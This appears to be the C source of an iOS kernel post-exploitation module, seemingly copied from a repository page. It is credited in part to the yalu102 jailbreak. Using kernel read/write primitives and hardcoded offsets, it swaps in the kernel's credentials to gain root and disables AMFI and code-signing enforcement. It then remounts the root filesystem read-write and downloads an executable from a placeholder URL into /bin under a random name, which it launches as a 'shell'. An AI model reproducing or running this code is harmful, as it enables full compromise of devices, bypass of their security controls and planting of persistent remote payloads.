162 lines
5.8 KiB
Objective-C
162 lines
5.8 KiB
Objective-C
// [1] https://github.com/kpwn/yalu102/blob/master/yalu102/
|
|
// [2] http://www.newosxbook.com/articles/CodeSigning.pdf
|
|
|
|
#include "macho.h"
|
|
#include "utils.h"
|
|
#include "offsets.h"
|
|
|
|
#define MNT_ROOTFS 0x00004000
|
|
#define MNT_RDONLY 0x00000001
|
|
#define MNT_NOSUID 0x00000008
|
|
|
|
#define PAYLOAD_URL_PLACEHOLDER "PAYLOAD_URL_PLACEHOLDER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
|
|
|
|
static struct {
|
|
addr_t amfi_allow_any_signature;
|
|
addr_t cs_enforcement_disable;
|
|
addr_t p_rootvnode;
|
|
addr_t base;
|
|
} koffsets = {
|
|
.amfi_allow_any_signature = 0x807c3b30,
|
|
.cs_enforcement_disable = 0x807c3b38,
|
|
.p_rootvnode = 0x8038c1b4,
|
|
.base = 0x80001000
|
|
};
|
|
|
|
|
|
addr_t get_port_addr(addr_t space, mach_port_t port)
|
|
{
|
|
addr_t is_table_size;
|
|
addr_t is_table;
|
|
addr_t addr;
|
|
|
|
is_table_size = kr32(space + SPACE_is_table_size);
|
|
is_table = kr32(space + SPACE_is_table);
|
|
addr = kr32(is_table + (port >> 8)*0x10);
|
|
|
|
return addr;
|
|
}
|
|
|
|
addr_t proc_for_pid(addr_t self_proc, int pid)
|
|
{
|
|
addr_t next = kr32(self_proc);
|
|
while (next != self_proc) {
|
|
int _pid = kr32(next + 8);
|
|
if (_pid == pid) {
|
|
return next;
|
|
}
|
|
next = kr32(next);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
int remount_root_rw(addr_t slide)
|
|
{
|
|
addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);
|
|
addr_t v_mount = kr32(rootvnode + VNODE_v_mount);
|
|
|
|
uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);
|
|
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~(MNT_ROOTFS | MNT_RDONLY));
|
|
|
|
char* nmz = strdup("/dev/disk0s1s1");
|
|
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
|
|
if (ret < 0) {
|
|
LOG("mount failed ret: %d", ret);
|
|
return -1;
|
|
}
|
|
|
|
LOG("root fs mounted r/w");
|
|
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY);
|
|
return 0;
|
|
}
|
|
|
|
int remount_root_ro(addr_t slide)
|
|
{
|
|
addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);
|
|
addr_t v_mount = kr32(rootvnode + VNODE_v_mount);
|
|
|
|
uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);
|
|
mnt_flags |= MNT_RDONLY;
|
|
mnt_flags &= ~MNT_ROOTFS;
|
|
|
|
kw32(v_mount + MOUNT_mnt_flags, mnt_flags);
|
|
|
|
char* nmz = strdup("/dev/disk0s1s1");
|
|
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
|
|
if (ret < 0) {
|
|
LOG("mount failed ret: %d", ret);
|
|
return -1;
|
|
}
|
|
LOG("root fs mounted ro");
|
|
|
|
kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS);
|
|
return 0;
|
|
}
|
|
|
|
void random_string(char *s, const int len) {
|
|
static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
|
|
for (int i = 0; i < len; ++i) {
|
|
s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
|
|
}
|
|
s[len] = 0;
|
|
}
|
|
|
|
void deploy()
|
|
{
|
|
char* path = "/bin/random";
|
|
random_string(path + 5, 6);
|
|
download(PAYLOAD_URL_PLACEHOLDER, path);
|
|
|
|
pid_t pid = 0;
|
|
char *args[] = {path, NULL};
|
|
int ret = posix_spawn(&pid, path, 0, 0, args, NULL);
|
|
if (ret < 0) {
|
|
LOG("posix_spawn failed: %d", ret);
|
|
return;
|
|
}
|
|
waitpid(pid, 0, 0);
|
|
LOG("shell deployed");
|
|
}
|
|
|
|
void shell_main(addr_t self_space, addr_t slide)
|
|
{
|
|
addr_t self_addr = get_port_addr(self_space, mach_task_self());
|
|
LOG("self_addr: %lx", self_addr);
|
|
|
|
addr_t self_task = kr32(self_addr + IPC_PORT_kobject);
|
|
LOG("self_task: %lx", self_task);
|
|
|
|
addr_t self_proc = kr32(self_task + TASK_bsd_proc);
|
|
LOG("self_proc: %lx", self_proc);
|
|
|
|
addr_t kernel_proc = proc_for_pid(self_proc, 0);
|
|
LOG("kernel_proc: %lx", kernel_proc);
|
|
|
|
// privilege escalation from [1]
|
|
addr_t self_ucred = kr32(self_proc + PROC_ucred);
|
|
addr_t kernel_cred = kr32(kernel_proc + PROC_ucred);
|
|
kw32(self_proc + PROC_ucred, kernel_cred);
|
|
|
|
LOG("got root uid: %d, gid: %d", getuid(), getgid());
|
|
|
|
// disable code signing by overwriting kernel arguments
|
|
// as described in [2]
|
|
//
|
|
// defeats
|
|
// outside of container && !i_can_has_debugger
|
|
kw32(koffsets.amfi_allow_any_signature + slide, 1);
|
|
kw32(koffsets.cs_enforcement_disable + slide, 1);
|
|
|
|
// root file system remount from [1]
|
|
remount_root_rw(slide);
|
|
deploy();
|
|
remount_root_ro(slide);
|
|
|
|
// restore credentials
|
|
kw32(self_proc + PROC_ucred, self_ucred);
|
|
}
|
|
|
|
|
|
|